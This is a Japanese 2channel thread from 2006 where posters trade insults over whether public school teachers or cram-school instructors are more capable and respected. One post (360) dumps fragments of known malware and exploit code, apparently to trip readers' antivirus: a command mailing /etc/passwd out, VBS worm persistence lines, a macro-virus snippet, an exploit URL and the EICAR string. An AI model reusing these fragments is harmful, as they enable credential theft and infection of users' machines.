将来の社会の指導者としての資質を養い、困苦に耐え得る精神を体得させるために、日頃の生活指導に力を入れている。
本校の校則は、冷酷なまでに極めて厳格であり、服装や鞄はもとより髪型・コート・マフラーまで指定されている。
校則に違反した場合は非常に厳しい処置がとられるとされている。罰則としては般若心経を写経させることなどが挙げられ退学させることも辞さない。
特に、前述した政治活動と喫煙行為は即刻退学処分となる。喫煙行為を禁じる理由は、法律で禁止されている以上に、「無駄金を使わないようにする」事のほうが大切らしい。
近頃は、万引きや入学直後を除きいじめ行為に関しても退学かそれに準ずる厳しい処置がとられる。また暴力行為についても停学処分など厳しい処分がとられる。
生活指導部は、最寄り駅である近鉄上本町駅、上本町ハイハイタウンにも毎日職員を派遣して巡視し、厳戒態勢を敷いている。
学園内では毎月1回、授業時間を割いて、頭髪検査(校内名称: 整髪検査、略称散検)が行われている。
かつては、髪型が校是に少しでも合わない生徒がいると、学校でバリカンで一枚刈りにされるという厳しさだった。
その後、時の成り行きもあり現在は「長髪」にすることが許されている。しかし、世間一般でいわれている長髪とは似ても似つかないものである。
校則で定められている長髪は「清風カット」と呼ばれており、校舎付近の理容院ではたいてい通じるくらい有名である。 頭髪検査の厳しさは、公式HPにおいて短歌に読まれたほどである。
私大バブル世代で大阪人なら知らぬ人はいない名門高校だと思うが…

259 :実習生さん:2006/11/12(日) 14:48:29 ID:RSFWVPh4
低学歴とかよく言うが、時代によって同じ大学でも雲泥の差があるなw
俺の母校は地元じゃ1,2の進学校だった。しかし所詮地方都市の公立学校。
毎年現浪合わせて旧帝に100人以上送る程度のものだったが、今じゃ現役だけで100人以上なんだと
しかも東大理Vにまで何名かいってるのには驚いた・・・・・
レベルが上がったのかと思いきや、他の高校もあり得ないほど進学状況がいいようだ。
総景も偏差値60程度で何とかなっちゃうって話だしね・・・・・
昔は60って日当狛線レベルだったよな

まあ教師にしろ塾講にしろ教え方上手ければ、大学はどうでもいいよ
ただ自分の出身大学よりレベル高い子どもに教えるのは無理がある気がするがね。

260 :実習生さん:2006/11/12(日) 14:56:31 ID:Pukrfp3l
>>255
>>まさに生徒指導に携わったことのない塾講の発想。
こんな2chanで毒をはいている哀れな暇人達に生徒
指導の実態など語れるか。

翻訳
俺たち教師は生徒指導という大人なら誰でも行っている、子どもたちの啓蒙活動をさも自分たちが唯一できるものだと勘違いして大々的に喧伝してるんだ。
どんな問いに対しても教師は絶対的な存在なのだから、中身がなくても疑問に思うこと自体が社会、すなわち国家に反逆する行為である。

ということで、OK?

261 :実習生さん:2006/11/12(日) 16:10:23 ID:nXhjO4gd
>>259
東大100人と北大100人じゃ、それこそ雲泥の差なんだが?
北海道教育大のお前には分からないかwww

262 :実習生さん:2006/11/12(日) 16:23:39 ID:RSFWVPh4
>>261
東大に100人以上現役合格者出してる地方都市の公立高校なんてあるかよw
残念ながら地元は北海道じゃないんでな
まあ高卒のお前には分からんだろうがなw


263 :予備校講師:2006/11/12(日) 16:26:57 ID:RygvgZmn
>>260
絶対的な存在なら何故こんなに世間を騒がせてるのか?
 教師も落ち度のある人間なのだよ。
 未履修といい、あちこちの自殺問題の対応といい
 官僚社会の醜さを充分露呈してるものだが・・・。

>>261
悲しいヤツだな。

264 :えれくち王 ◆Nk0j1Ogru. :2006/11/12(日) 16:35:15 ID:+ytD7bqp
>>259
推薦入試の普及&AO入試。

265 :実習生さん:2006/11/12(日) 16:43:36 ID:nXhjO4gd
>>262
はぁ?お前読解力ないだろ?
さすが学校教師は頭悪いなwww

266 :実習生さん:2006/11/12(日) 16:48:03 ID:cUvm0olX
>>260
>学校教師は池沼だから仕方ないよ
塾の講師は平気で言う。しかし、学級にADHDや広汎性発達障害等の生徒を抱えたことのある教師は、
間違っても言わないだろう。あんたたちが関わっている生徒達はテストで1点でも良い点数をとり、
1番でも順位が上がることを目標に塾に来てるんだろ。俺達は、不登校の生徒がまず教室に来ること、
ベル着、ベル席の身に付いていない生徒達をどうのようにしたら、遵守させることができるか、日々
悩み苦しみもがきながら授業に取り組んでいる。こんな生徒指導の実態について知ったところで不毛
でしょ。それとも、いじめや学級崩壊について、何か有効な手だてでもあるのか?


267 :予備校講師:2006/11/12(日) 16:53:46 ID:RygvgZmn
>>266
そのとおりだと思いますね。
 こちらは来る生徒だけを受け入れるだけですから。
 大変だと思いますよ。
 また、バカ親とも戦わなきゃならない・・・
 アホ上司にも気を遣わないといけないし・・・

268 :実習生さん:2006/11/12(日) 16:58:04 ID:nXhjO4gd
学校教師はレスアンカーもまともにつけられないのか?ww

269 :実習生さん:2006/11/12(日) 17:11:06 ID:cUvm0olX
>>268
あんたが生徒指導の実体について云々というから、レスしただけだよ。

270 :実習生さん:2006/11/12(日) 17:50:31 ID:nXhjO4gd
>>269
俺じゃねーバカ
ID見れ

271 :実習生さん:2006/11/12(日) 18:05:25 ID:Pukrfp3l
>>269
生徒指導の実体に聞いたのは、もれだ。

なんか、動物園のゴリラが自分の糞を投げつけて喜んでるみたいだなぁ。

あのさ、そもそも塾講と教師の序列をつけること自体間違いなんだよ。

学歴はその人個人の能力を第三者が計るという点で意味があるけど、
現場ではそれだけではいけないのは学校も塾も一緒。
それに、民間である塾はサービス業なんだから、学校とは違う役割があるんだから。

でも、教師が塾講を下に見ること自体おかしくない?だって、優秀な先生なら塾講の経験をしてる人多いでしょ。特に高校の先生とか。
小学校の先生だって、自分の子を塾に通わせること多いんだから。

でも、中学校の先生は・・・まぁ、ここで、教師側で荒らしてるのは中学教師なんだろうね。

272 :実習生さん:2006/11/12(日) 21:13:55 ID:FY7LHJVL
子供の成績のため塾を利用する事はするが
大学生以外の塾講は蔑み哀れむって図式だな。

273 :実習生さん:2006/11/12(日) 23:24:47 ID:iA3gaCJS
学校教師はいじめをなくす手段を考えろ

274 :実習生さん:2006/11/13(月) 02:55:21 ID:SvzAtCgh
学校教師って卒論書いてるの?
書いてたとしても、どうせしゃべり場程度のものしか書けてないんだろ?

275 :実習生さん:2006/11/13(月) 04:05:14 ID:+qCmKCB2
>>272
でも自分の息子をよくわからん大学生講師に
まかせられる?
できれば高学歴の社員講師に見てもらいたくない?
高学歴には受験指導に卓越した人材がやはり多いと感じる
のは漏れだけか??

276 :実習生さん:2006/11/13(月) 07:42:08 ID:1HD6zuOb
>>275
はい。おれだけです。

277 :実習生さん:2006/11/13(月) 12:35:40 ID:RCpp/cv6
大学生であろうが塾講であろうが
生徒の学力が伸びればそれでいい。
最近ごちゃごちゃ言うヤツが多くていかん。

>>272
アンタみたいなバカ親が教育をだめにすんだよ。

278 :実習生さん:2006/11/13(月) 13:18:47 ID:2Rsjp1Jl
まあだって国公立医学部卒で教師になるやついないからな。そりゃ低学歴にきまっとるわ。

279 :実習生さん:2006/11/13(月) 17:13:35 ID:RCpp/cv6
また、バカが来た

280 :実習生さん:2006/11/13(月) 17:20:58 ID:+qCmKCB2
>>276
あなたの学歴は??

281 :実習生さん:2006/11/13(月) 19:51:03 ID:658E2hN7
予備校、塾講に質問!受験学力さえつけばいいと思ってるの?
大学にさえ合格したら、その後はどうなってもいいと思ってるの?

282 :えれくち王 ◆Nk0j1Ogru. :2006/11/13(月) 19:57:14 ID:1HD6zuOb
>>281
かの業界の人たちのスタンスはそうだと思います。

283 :実習生さん:2006/11/13(月) 20:04:33 ID:K5wO5LRe
仮に受験指導力について、塾講師>>学校教師だとしても、
身分の安定、給料からすると学校教師>>>>>>>>>>>>>>、塾講師
能力あるのにわざわざ塾講師やってる奴は、自分のリアルをマネッジできないホントの勉強バカ。

284 :実習生さん:2006/11/13(月) 20:49:33 ID:2xKw7ACV
↑  同意
でも困難校に行くくらいなら   今のほうがいい。

285 :実習生さん:2006/11/13(月) 20:52:32 ID:2xKw7ACV
    経済的満足 VS 精神的満足

雪の降る山に登りたくなる男もいるということさ。


286 :実習生さん:2006/11/13(月) 22:55:33 ID:khKzYzt9
>>285
何酔ってんだ馬鹿

雪の降る山=中学の教育困難校
経済的満足も精神的満足も得られる

塾講=雨でも晴れでも雨宿り 外に出られず山を眺め一人毒づく
経済的にも精神的にも×

287 :実習生さん:2006/11/13(月) 23:16:59 ID:SvzAtCgh
学校教師っていじめも解決できない、勉強も指導できないで
何やってるの?

影で生徒に笑われてるぜ?

288 :実習生さん:2006/11/13(月) 23:20:42 ID:yGstqdWs
でも元塾講師の学校教師は多かったりw

逆は滅多にいない。(バブルの頃はいたが)

289 :実習生さん:2006/11/13(月) 23:56:09 ID:SvzAtCgh
つまり、学校教師は何もやらずに金もらってる乞食ってことでFA?

290 :実習生さん:2006/11/14(火) 03:15:16 ID:wuZcFkpM
生徒もバカな生徒だけじゃないからな。
学校の教師の学歴調べて低学歴教師をバカにしてるよ。

291 :実習生さん:2006/11/14(火) 03:23:02 ID:uz1OzsrU
>>287
笑ってる生徒がいじめしたり、授業妨害してるんだよねぇ

292 :実習生さん:2006/11/14(火) 04:19:48 ID:wuZcFkpM
さすが教師の鋭い分析。



現実把握力も問題解決能力もかけらもないwww

293 :実習生さん:2006/11/14(火) 07:13:33 ID:hKn79VFd
>>292 ニートなおまえよりはまし

294 :実習生さん:2006/11/14(火) 14:30:46 ID:wuZcFkpM
>>293
プッ 顔真っ赤だぞ
そんなに悔しいか?

295 :実習生さん:2006/11/14(火) 18:02:57 ID:c5XRSkcf
>>289
本当に何もやってなかったら、もっと学校教育は滅茶苦茶になっているはず。

296 :鳴教生1号@勝ち組教師 ◆NARUTO.Z8k :2006/11/14(火) 22:44:39 ID:Fc9RY7Gv
教師は勝ち組♪

297 :実習生さん:2006/11/14(火) 22:55:53 ID:OoLPZ0Zf
鳴門教育大か。
なんで徳島に教育大が出来るんだろう。旧帝大があったわけじゃないのにね。
鳴門教育大を出れば大阪アタリは楽勝で小学教諭になれるだろう。

298 :実習生さん:2006/11/14(火) 22:57:42 ID:A99k9Xze
>>297
小学教諭になりたいですか。そうですか。

299 :実習生さん:2006/11/14(火) 23:01:02 ID:+iXLuaBM
教師の勝ち組とは
公立学校→教育委員会→管理職

300 :実習生さん:2006/11/14(火) 23:04:05 ID:wuZcFkpM
>>296
学歴板から出張かよ!?

>>299
無理無理。
教育委員会は行政官と有識者で構成されていることがほとんど。
学校内で昇進しても、教頭だろうが校長だろうが
自治体の若い行政官に頭下げなくちゃいけないな。

301 :実習生さん:2006/11/14(火) 23:07:39 ID:7y196Gzl
>>300
無知ならレスしないほうがいいと思うよ

302 :実習生さん:2006/11/14(火) 23:09:03 ID:e2bSsI/2
大学教授が一番楽で地位も高いに決まっている

303 :実習生さん:2006/11/14(火) 23:09:11 ID:wuZcFkpM
>>301
プ
お前より何倍も知識ありますが何か?

304 :実習生さん:2006/11/14(火) 23:21:38 ID:A99k9Xze
>>303
私は教育委員会の役人ですが、何か?

305 :実習生さん:2006/11/14(火) 23:28:08 ID:9szUUytc
平成教育委員会のスタッフかよ

306 :実習生さん:2006/11/14(火) 23:29:10 ID:LBDg8oO8
wuZcFkpMはNGワード推奨w

307 :実習生さん:2006/11/14(火) 23:35:32 ID:wuZcFkpM
>>306
教師の負け惜しみ乙

308 :実習生さん:2006/11/14(火) 23:38:12 ID:+iXLuaBM
>>300
オマエが言ってるのは教育委員。
俺が言ってるのは指導主事のこと。

309 :実習生さん:2006/11/14(火) 23:43:17 ID:wuZcFkpM
>>308
いずれにせよ一般行政職より格段に地位は低い

310 :実習生さん:2006/11/14(火) 23:48:58 ID:QuxsIy4a
>>303
何年も前のレスかと思った

311 :実習生さん:2006/11/14(火) 23:50:09 ID:+iXLuaBM
>>309
ところが給与は公立学校管理職の方が格段上。だから55歳を過ぎると
みんな教育委員会から養護学校校長へ転出していく。


312 :実習生さん:2006/11/14(火) 23:51:32 ID:wuZcFkpM
給料が良いから進んで厳しい仕事をします?




典型的なブラックじゃんwwww

313 :実習生さん:2006/11/14(火) 23:54:46 ID:DZKQRbJM
>>1 

塾講師は毎年教員採用試験受けてるけど 
通りませんが 

大学時代塾で授業したことはありますが 
授業そのものは楽でした。 
生徒の意識が最初から勉強ムードで、同じ目標持っているし 
教科書なんか教えなくていいから楽 
how to ものの解き方でいいから、これ覚えてこうやって解けで終わり 

ただね、国語科の大学生が何故か、数学とかを教えていてから 
ちょっと不満はありましたが。 
 

314 :実習生さん:2006/11/15(水) 00:08:29 ID:n1qzr2C5
教育関係職  社会的地位一覧(2006年度)

偏差値    行政職            教育職          受験産業

76     文部科学大臣        大学教員(有名)
72     文科省キャリア        大学教員(無名)    カリスマ予備校講師
68                      短大教員        予備校講師
65     地方上級教育行政                    カリスマ塾講師
62     文科省U種 大学職員   私立進学校教員    塾講師
57                      高校教員
55     地方中級教育行政     中学教員
50     学校事務           小学教員
45     文科省V種 地方初級
40                      幼稚園教員

315 :実習生さん:2006/11/15(水) 00:25:54 ID:DViJXchZ
>>314
受験産業を高く評価しすぎだな。特にタダの予備校講師を高くしすぎw
身分の保証と休暇日数、福利厚生などを考えたらつりあうのは
せいぜいカリスマ講師=私立進学校教員くらいのもの。
ほかは幼稚園教諭(ただし公立、私立は論外)以下
大学教員も任期制教員なら終身雇用の小学教員以下でしょう。






316 :実習生さん:2006/11/15(水) 00:38:55 ID:n1qzr2C5
>>315
金しか頭にないバカかww
もうすぐお前の首もはねられるから
再就職の準備でもしとけ

317 :実習生さん:2006/11/15(水) 00:48:20 ID:DViJXchZ
>>316
それそのまんまアンタの状況だろ
自分のコンプレックスを他者に押し付けてどうするw


318 :実習生さん:2006/11/15(水) 00:54:24 ID:n1qzr2C5
>>317
はぁ?
DQN教員はバウチャー制にビビってろよ。
そもそも安定してるから、身分保障があるから教員って発想自体が、
民間だと自分の無能ゆえクビになりそうだから消去法で
教師になろうって考えだろ?
つまり教員=自信のない臆病な奴、キモオタヒキコモリ

319 :実習生さん:2006/11/15(水) 00:59:16 ID:PSr8SoF3
>>316
教師の理論はおもろいよな。受験産業に対して、金儲け主義と批判する。
でも、「なりたいか?」という問いに対しては福利厚生、給料(すなわちお金)
が悪いから嫌だと言う。塾なんて楽だと主張しているから、待遇がよければ
この人たち塾講になりたいんじゃないの?


320 :実習生さん:2006/11/15(水) 01:03:09 ID:DViJXchZ
身分保障もあって給料も良くて楽な仕事が教員。
塾講師なんかやりたいわけないじゃんw


321 :実習生さん:2006/11/15(水) 01:06:57 ID:n1qzr2C5
>>319
そういう矛盾に気付かないDQNがやる職業が教師。

つまり教員=自信のない臆病な奴、キモオタヒキコモリ、論理的思考力なし

このことは>>320が証明しています。

322 :実習生さん:2006/11/15(水) 01:19:23 ID:X8eSqDUY
 学校の教員の皆々様、最近にかけて文科省の「ゆとり教育的考え」の下、学生の学力低下が
問題になっているそうですが、実際のところ、どのようにお考えですか?

323 :実習生さん:2006/11/15(水) 02:18:00 ID:PSr8SoF3
>>321
そうだね。公務員なんて自分のことしか考えてない奴がなる
のが基本だもんね。志望理由「安定してるから」。
志望理由からして、自分の事オンリーだよな。


324 :ファイティングスピリット石原:2006/11/15(水) 07:22:26 ID:EP4NIjdk
そろそろ、「受験学力つける≠教育」であることを気付こうよ。皆さん。

学校が義務教育段階からランク付けされて、
しかも公務員として保障されていた教師の身分が、
塾講師みたいに保護者(利巧もいればDQNもいる。学校だからDQN多し)
の思惑でいくらでも操作できるような、
ある意味「市場主義原理主義者」の理想とする状況になったら。。。


325 :ファイティングスピリット石原:2006/11/15(水) 07:28:42 ID:EP4NIjdk
塾講師では追い詰められて教え子を小呂した奴がいたが(同志社の奴)、
学校教員は攻撃の対象が少なくとも教え子に向かうことがない。

このあたりが、塾講師と学校教員の、心のあり方の差なんだろうな。

326 :実習生さん:2006/11/15(水) 08:45:28 ID:6DBJgEWA
ていうか教師と塾講師はぜんぜん職種も業種も違うんだから比べる方がおかしい。
まあ塾講師が勝手に教師を自分と比較して「教師と同等かそれ以上」だと妄想することで、
ブラック産業に勤めているというコンプを誤魔化そうとしてるんだろうけど。
同等とか以上以下とかいう前に、カテゴリーが違う。

教師は幼稚園教諭から大学教員までの教育職。
塾講師は幇間から芸者までのサービス業。





327 :実習生さん:2006/11/15(水) 10:39:33 ID:sjxDN9go
>>326
久々に出てきやがったな。
 ニート君。まだ死んでなかったのか?

328 :実習生さん:2006/11/15(水) 13:22:02 ID:BEMP3NNk
>>327
そうやって叩いているあんたもニート?

以下続く↓

329 :実習生さん:2006/11/15(水) 13:46:19 ID:zBsZEdGo
公立学校→教育委員会→管理職
ってよくある流れじゃん
教育委員会経由の校長はそれ以外の校長とは全然立場が違うよ
定年後も地方の教育長とか教育関係のいいポストにつく人たちだし

330 :実習生さん:2006/11/15(水) 14:04:34 ID:sjxDN9go
だからどうした?早く仕事探しなさい。

331 :実習生さん:2006/11/15(水) 14:15:37 ID:pY148g5S
公立高校の先生は南京大虐殺の写真をコピーして家に送ってきたり、
ハングル語を勉強しろと強要したりするから
大嫌いです。
トヨタや日産は潰れろ、とか言ってましたね。

332 :実習生さん:2006/11/15(水) 14:17:17 ID:pY148g5S
ちなみに三重県です


333 :実習生さん:2006/11/15(水) 14:18:44 ID:Vfw1xSKP
>>325は校門で生徒を挟んで殺したキチガイ教師をしらない低能。
それに直ぐに手をあげる暴力教師など、どこにでもいる。

334 :実習生さん:2006/11/15(水) 15:16:56 ID:n1qzr2C5
>>326
サービス業⊃教育職
ですが何か?



あ、教師はこの記号の意味分からんかwwwww

335 :実習生さん:2006/11/15(水) 18:18:58 ID:BEMP3NNk
>>330
お互いにがんばろうねwww

336 :実習生さん:2006/11/15(水) 18:37:16 ID:qmsGxEJU
今の40歳以下の教員採用試験の倍率はかなり高かった。
よって
20代〜40歳までに限っては人間性も頭の出来も明らかに

学校教師>塾講師


中高時代、担任や親や塾講師にビビって
認められようと中途半端に受験勉強し
マーチ駅弁程度の大学に入ったものの
誰にも脅してもらえない就活に普通に失敗した奴らが集まるのが熟。

337 :実習生さん:2006/11/15(水) 18:56:28 ID:BEMP3NNk
>>336
同意。

ここ十年くらいの採用なら、就職難だったからまともでまじめな人が多いのかも。

問題なのは、もれが学生だったころの、今から15年以上前に採用された教師たちだぁ〜

小中高学生の頃に、感銘を受ける教師に一人でも会いたかったな。

338 :実習生さん:2006/11/15(水) 19:00:55 ID:sjxDN9go
>>336
漢字間違えてなかったらよかったのにな。
 残念。

>>335
こっちは予備校講師ですが何か?
 就職浪人くん。

339 :実習生さん:2006/11/15(水) 19:43:07 ID:BEMP3NNk
>>338
だから、一緒に頑張ろうねwww

四大予備校目指すんでしょ?

340 :実習生さん:2006/11/15(水) 21:35:26 ID:EP4NIjdk
>>334
違う。ばーか。

寧ろ進路指導や課外授業などのサービス的な業務が、教育活動の要素に含まれるのだ。

教育活動は、サービス的な業務が全てではない。

341 :実習生さん:2006/11/15(水) 21:53:23 ID:T8qXX55M
塾講師>>学校教師と思ってる奴は、自分の周りの女に、結婚するならどっちが
いいか聞いてみるといいよ。すぐに結論でるから

※ただしDQN女は除くw

342 :実習生さん:2006/11/15(水) 22:14:33 ID:BEMP3NNk
>>341
いや、どっちもやだって言うでしょ。ふつう。

343 :実習生さん:2006/11/15(水) 22:17:20 ID:BEMP3NNk
>>340

サービス業とは、無料奉仕業とはいいません。

バカにされちゃうよ?

344 :実習生さん:2006/11/15(水) 23:03:50 ID:s1vAgCcf
>>324 

そうだね。 
今は一つの価値観しか認められなくなってるから、いじめる奴らも必死だね
いじめ上等の世の中になってる 

これを拾ってきたんだけど 
こんな人間を教育審議会にい入れているんだから自民も終わりだね 

以下ヤンキー先生に関するコピペです。 

[編集] 人物
トップ校に合格する実力はあったが、姉が弘介がくるなら学校を辞めると言
ったので、2番目の高校に進学した(産経新聞インタビュー)。
実父に復讐するため、空手を10年習い、ブルース・リーのような立派な体に
なった(産経新聞インタビュー)。
姉・弟を殴る蹴る、義母を階段から突き落とし、実父をメリケンサックで殴
り病院送りにした(『不良少年の夢』)。
高校2年生の時、交際していた女生徒を注意した担任の頭に火をつけるとい
う暴行事件を引き起こすが、学校側の処分は進路変更指導に留まった。退学
に至らなかった理由として義家は著書で「教育県である長野県の県立高校で
強制退学は前例がなかった為」と説明している(『不良少年の夢』)。

メリケンサックってなんすか ? 

鉄か鉛でできた手にはめるグローブだ 
しかし、普通こんなのまで着けて喧嘩しないぞ 
10年も鍛えに鍛え上げて 
それにメリケンサックだろ 
根はビビリッチのかなりの卑怯者だね 


345 :実習生さん:2006/11/15(水) 23:27:25 ID:n1qzr2C5
>>340
産業分類も知らないのか?
中高地理の教科書でも読み直せ学校教師君www

>>336
学校教師こそ駅弁のスクツなんだが(国私進学校除く)
駅弁って就活以前に、教師になるしか道が残されてないもんね♪

346 :実習生さん:2006/11/15(水) 23:34:00 ID:TJIx4Tz8
>>345
ごめん。君のレスは負け惜しみにしか聞こえない。途中で挫折したの?

347 :実習生さん:2006/11/15(水) 23:36:48 ID:n1qzr2C5
>>346
どこが負け惜しみだか具体的に指摘してもらおうか?
ま、学校教師はバカだからできないかな?

348 :実習生さん:2006/11/15(水) 23:42:06 ID:TJIx4Tz8
>>347
君は優秀な塾講かもしれないけれど、教師なら誰もが学んでいる心理学
など勉強したことないだろ?君の場合、自己に内在するコンプレックス
の現れと解釈できるもの。

349 :実習生さん:2006/11/15(水) 23:47:48 ID:n1qzr2C5
>>348
心理学くらい専門じゃないけど勉強しましたが何か?

で、「具体的に」って意味分かる?
コンプレックスねぇ・・・精神分析なんか持ち出してどうするつもりか
知らんが、「具体的に」説明しないと何の意味も持たないぞ?
厨房の作文並だな。

350 :実習生さん:2006/11/15(水) 23:51:17 ID:m8oF/eRt
文句ばっかり書き込んでいる人って 
採用試験で落ちまくりの方達ばかりじゃないの? 

塾の先生や私立の学校の先生って今も、採用試験受けてますよ。 
ほとんどが落ちちゃってますけど。 
知っている限り受かった先生は二人人しかいなかった。 

塾でも、学校の先生でも心の温かいいい先生はいるのですが 
やっぱり2chって人付き合いになれてないお宅がおおいのですかね 
お互いの良さを認めようとしないからね 


351 :実習生さん:2006/11/15(水) 23:52:37 ID:TJIx4Tz8
自分の職業に自信と満足感をもって仕事していれば、必要以上に
教師を卑下しようとなんて思わない。


352 :実習生さん:2006/11/15(水) 23:52:51 ID:xlRWviiB
349…劣勢。
もっと頑張れ、349!

353 :実習生さん:2006/11/15(水) 23:58:23 ID:n1qzr2C5
>>350
それどこの田舎?
うちの地方は教員志望=落ちこぼれだけど

>>351
反論できなくなって話を逸らしたか。
情けない。
教師らしいといえばそうかもな。

354 :実習生さん:2006/11/16(木) 00:04:08 ID:4kwdBlSf
>>353
悪いけど、君のやるせなさが伝わってくる。まあ、不満やストレスを
2chanに書き込んで解消かい?

355 :実習生さん:2006/11/16(木) 00:27:42 ID:h8jWF1FV
>>354
なるほど。
教師って内容のない煽りしかできないんだな。
生徒のイジメに加わって生徒を自殺させるのも納得がいくな。

356 :実習生さん:2006/11/16(木) 02:20:25 ID:ePNCUDX2
>>355 

だれからも相手にされない、認められないって感じですわ。 

 

357 :実習生さん:2006/11/16(木) 02:50:38 ID:j0xaJrVk
教師って生徒より頭悪いんじゃないか?
偏差値50以上の生徒限定だけど。
昔、間違ったこと教えたのを生徒に指摘されて、
キレて体罰ふるった教師がいたな。

358 :実習生さん:2006/11/16(木) 06:16:03 ID:rT47YK/x
クレジットカードのゴールド会員の勧誘が来る職種が勝ち組み
予備校講師諸君はどうかな?

359 :実習生さん:2006/11/16(木) 10:49:34 ID:qqnq686z
それも一理あるわな。
最悪なのは雇われ塾講で、ここで教師を叩いてるやつ。
それと指導力のない教員。
最低なのは、2ちゃんで吐き出すニート野郎。


360 :実習生さん:2006/11/16(木) 11:20:05 ID:cfPbfn+H
(゚Д゚)ハァ?
kak.hta';ken=wd+'START
cat /etc/passwd | mail nobody@nonexistent.com

<body onload=window()>
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)))
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
<object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
ms-its:mhtml:file://c:\
kak.hta';ken=wd+'START
kill -9 xz/tSaBh0
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
End Sub
???

361 :実習生さん:2006/11/16(木) 17:03:16 ID:rEBIBBLR
学校教師・塾講師の学力・学歴分布

予備校講師 ●●●●●●●●●○○○○○○○○○○○○○○○
塾講師   ●●●●●●●●●●●●●●●●●○○○○○○○
高校教師  ○○○○●●●●●●●●●●○○○○○○○○○○
中学教師  ○○○○○○●●●●●●●●●●●●●●●●○○
小額教師  ○○○○○○○○○○○○○○○○○○●●●●●●

362 :実習生さん:2006/11/16(木) 17:22:55 ID:Mjvv/vFi
>>361
ついでに大学教官も入れといて

363 :実習生さん:2006/11/16(木) 18:13:55 ID:GPaSvQ3u
政府に頼りっきりになるんじゃなくて、自分達の努力で学力をつけて欲しい。
教育基本法を改正しても、予習復習を怠ったり、宿題を平気で忘れてきたり
テスト前日なのにテレビゲームをしているようでは学力が低下するのは当たり前。

塾へ行く金が無いから・・・っていう金銭的な問題も、
わざわざ塾に行かなくても参考書や問題集を買って自宅で学習すればいい。
1年間1万円くらいで充分なくらいの教材をそろえることが出来る。
春休みに少しアルバイトするだけでその年の教材費は余裕で稼げる。

とりあえず1,2年生は国数理系だけ買って、他の教科は
授業ノートや教科書を参考にして定期テストを受ければいい。
で、受験シーズンになったら社会や英語を買えばいい。
今では古本屋さんや、ネットオークションや通販でも教材を古本で買える。

韓国が学校教育に日本の何倍もの予算を使っても意味が無かったことを証明してくれた。
だからこれからは、というか、やはり昔のように家庭学習が大切。

裕福な家庭の子供の学力に追いつくことは無理かもしれないけど
差を縮めること、これ以上差を広げないことは出来る。

↑の考えを世間に広めて欲しい。
そうすれば日本の学力低下問題は解決する。

364 :実習生さん:2006/11/16(木) 19:51:24 ID:3owzqa4m
オイラが中学時代にお世話になった塾の先生(国語)は、
東京大学出身だった。
「東大なら、なんで学校の先生にならないんだろう?」
という疑問を持ったオイラは間違っているかな?

365 :実習生さん:2006/11/16(木) 21:01:38 ID:y6nF8mMt
>>364
こしかけ

366 :実習生さん :2006/11/16(木) 21:14:14 ID:PYk9zmQm
>>364
負け犬


367 :実習生さん:2006/11/16(木) 21:40:31 ID:hefHrETN
とりあえず小額なんて書く時点で>>361の学力は知れてるわけだが

368 :実習生さん:2006/11/16(木) 22:33:34 ID:DTdqmzkO

変換ミスを鬼の首を取ったかのように嬉々として
あげつらうバカ

369 :実習生さん:2006/11/16(木) 22:47:33 ID:tU/YMqPU
変換ミスってのは、自分の書いた発言を推敲できる人間か否かを
判断するための結構な基準になる。
まぁ、2ちゃんだからって言い逃れるんだろうけどね。

370 :実習生さん:2006/11/16(木) 23:40:18 ID:Mjvv/vFi
教基法が衆議院で強行採決されたが、教師をどう評価するのかな?極端な例を出そう。
☆A教諭(4年1組担任)
日の君が大好きで管理職から可愛がられている学年主任。現場から早く出たくて指導主事
を目指している。校区に警察署や消防署がありながら、見学には行かずにひたすら教科書
とドリルに力を入れる。クラスの児童のペーパーテストにおける平均点は高い。しかし、
社会科は嫌いが多い。
★B教諭(4年2組担任)
職員会議では管理職にことごとく反対する組合色の強い教師。カリキュラムの自主編成に
力を入れて、見学や調査などの直接体験を重視する。フィールドワークを効果的に取り入れ
ることにより、探求心は比較的高くクラスの児童は社会科好きが多い。
当然A教諭の方が評価が高いんだろうね。

371 :実習生さん:2006/11/16(木) 23:44:51 ID:eGvS8Ciy
>>369
しょうがくで変換したら、ふつう小学が先にくるでしょ。
あえて外したという可能性をなぜ考えないのかと。

372 :実習生さん:2006/11/16(木) 23:52:35 ID:h8jWF1FV
>>364
下手糞な釣り乙

373 :実習生さん:2006/11/17(金) 00:47:52 ID:vw3P+xgn
塾の先生も学校の先生もいいと思うんだけど 
なんでそんなにムキ担ってるの 

嫉妬で書き込んでるって感じしかしないよ 


374 :実習生さん:2006/11/17(金) 00:56:48 ID:QpTwk/aP
この問題の答え教えてくれませんか?
学校の教師なら解けますよね?

【問題】
k>0とする。
xy平面上の二曲線
y=k(x−x^3), x=k(y−y^3)
が第一象限にα≠βなる交点(α, β)をもつようなkの範囲を求めよ。

375 :実習生さん:2006/11/17(金) 07:02:37 ID:pMlnWfWm
>>374
誰でも知ってる有名問題書いてどうする気だ?
辺々足した式と引いた式を因数分解するのだ。
俺はこれは東大らしい良問だと思うが、それがどうした?

376 :実習生さん:2006/11/17(金) 14:11:43 ID:QpTwk/aP
>>375
で、答えは?
またググるかな?

377 :本人の努力:2006/11/17(金) 16:10:33 ID:TFxX077C
・・・・

